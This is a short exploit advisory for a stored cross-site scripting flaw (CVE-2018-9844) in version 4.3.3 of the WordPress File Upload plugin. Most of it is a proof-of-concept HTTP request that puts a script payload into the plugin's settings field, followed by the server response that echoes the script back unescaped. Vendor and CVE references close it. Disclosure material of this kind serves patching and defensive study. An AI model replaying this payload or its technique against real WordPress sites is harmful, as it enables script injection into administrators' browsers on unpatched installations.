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- # Exploit Title: WordPress Plugin WordPress File Upload 4.3.3 - Stored XSS
- # Date: 06/04/2018
- # Exploit Author: ManhNho
- # Vendor Homepage: https://www.iptanus.com/
- # Software Link: https://downloads.wordpress.org/plugin/wp-file-upload.zip
- # Version: 4.3.3
- # Tested on: Windows 7 / Cent OS 6.5
- # CVE : CVE-2018-9844
- # Category : Webapps
- Description
- ===========
- WordPress File Upload is a WordPress plugin with more than 20.000 active
- installations.
- Version 4.3.3 (and possibly previous versions) are affected by a Stored XSS
- vulnerability in the admin panel ,related to the "Edit_Setting"
- functionality.
- PoC
- ===============
- Request:
- POST /wp-admin/options-general.php?page=wordpress_file_upload&action=edit_settings
- HTTP/1.1
- Host: 192.168.1.66
- User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101
- Firefox/59.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
- Accept-Encoding: gzip, deflate
- Referer: http://192.168.1.66/wp-admin/options-general.php?page=
- wordpress_file_upload&action=plugin_settings
- Content-Type: multipart/form-data; boundary=---------------------
- ------27678165033834
- Content-Length: 906
- Cookie: wordpress_ce39b1fa1561a0e8d46e02ff9e65f6a0=admin%7C1523124759%
- 7CYpPsz6ePz7L52pKrUk6uFioJlynhadnrSuv2lKQNhJe%7Ca3c7a75afaaf9ce1db3596b8aa83
- 3adeb337f313ef5156fbf93096c1af0cdbbc; wp-settings-1=libraryContent%3Dbrowse;
- wp-settings-time-1=1522504284; PHPSESSID=o6smfv1u6p8rh7cu7v7gl9lm47;
- wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_
- ce39b1fa1561a0e8d46e02ff9e65f6a0=admin%7C1523124759%
- 7CYpPsz6ePz7L52pKrUk6uFioJlynhadnrSuv2lKQNhJe%7C1993c93121805782b8bee82cd013
- 6f1a6aa286d4294ed58cb6f95539acdfe5d5
- Connection: close
- Upgrade-Insecure-Requests: 1
- -----------------------------27678165033834
- Content-Disposition: form-data; name="_wpnonce"
- c9d5733e36
- -----------------------------27678165033834
- Content-Disposition: form-data; name="_wp_http_referer"
- /wp-admin/options-general.php?page=wordpress_file_upload&
- action=plugin_settings
- -----------------------------27678165033834
- Content-Disposition: form-data; name="action"
- edit_settings
- -----------------------------27678165033834
- Content-Disposition: form-data; name="wfu_basedir"
- <script>alert('XSS')</script>
- -----------------------------27678165033834
- Content-Disposition: form-data; name="wfu_postmethod"
- fopen
- -----------------------------27678165033834
- Content-Disposition: form-data; name="wfu_admindomain"
- siteurl
- -----------------------------27678165033834
- Content-Disposition: form-data; name="submitform"
- Update
- -----------------------------27678165033834--
- Response:
- HTTP/1.1 200 OK
- Date: Thu, 05 Apr 2018 18:15:01 GMT
- Server: Apache/2.2.15 (CentOS)
- X-Powered-By: PHP/5.3.3
- Expires: Wed, 11 Jan 1984 05:00:00 GMT
- Cache-Control: no-cache, must-revalidate, max-age=0
- Pragma: no-cache
- X-Frame-Options: SAMEORIGIN
- Referrer-Policy: same-origin
- Connection: close
- Content-Type: text/html; charset=UTF-8
- Content-Length: 28623
- ...
- <input name="wfu_basedir" id="wfu_basedir" type="text"
- value="<script>alert('XSS')</script>" />
- <p style="cursor: text; font-size:9px; padding: 0px; margin: 0px; width:
- 95%; color: #AAAAAA;">Current value: <strong><script>alert('XSS')</
- script></strong></p>
- ...
- References
- ===============
- https://www.iptanus.com/new-version-4-3-4-of-wordpress-file-upload-plugin/
- https://wordpress.org/plugins/wp-file-upload/#developers
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9844
- https://www.exploit-db.com/exploits/44444/
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